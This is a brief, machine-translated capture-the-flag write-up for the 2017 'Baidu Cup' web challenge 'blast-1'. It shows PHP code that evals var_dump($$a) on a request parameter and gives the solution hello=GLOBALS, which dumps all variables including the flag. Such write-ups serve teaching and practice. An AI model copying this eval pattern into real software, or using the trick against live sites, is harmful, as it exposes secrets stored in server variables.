"Baidu Cup" CTF game 2017 February, Web: blast-1

Topic content ：

flag In a six bit variable .

include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

Only match pure letters , stay var_dump There are two $, Use GLOBALS dump Output all variables

hello=GLOBALS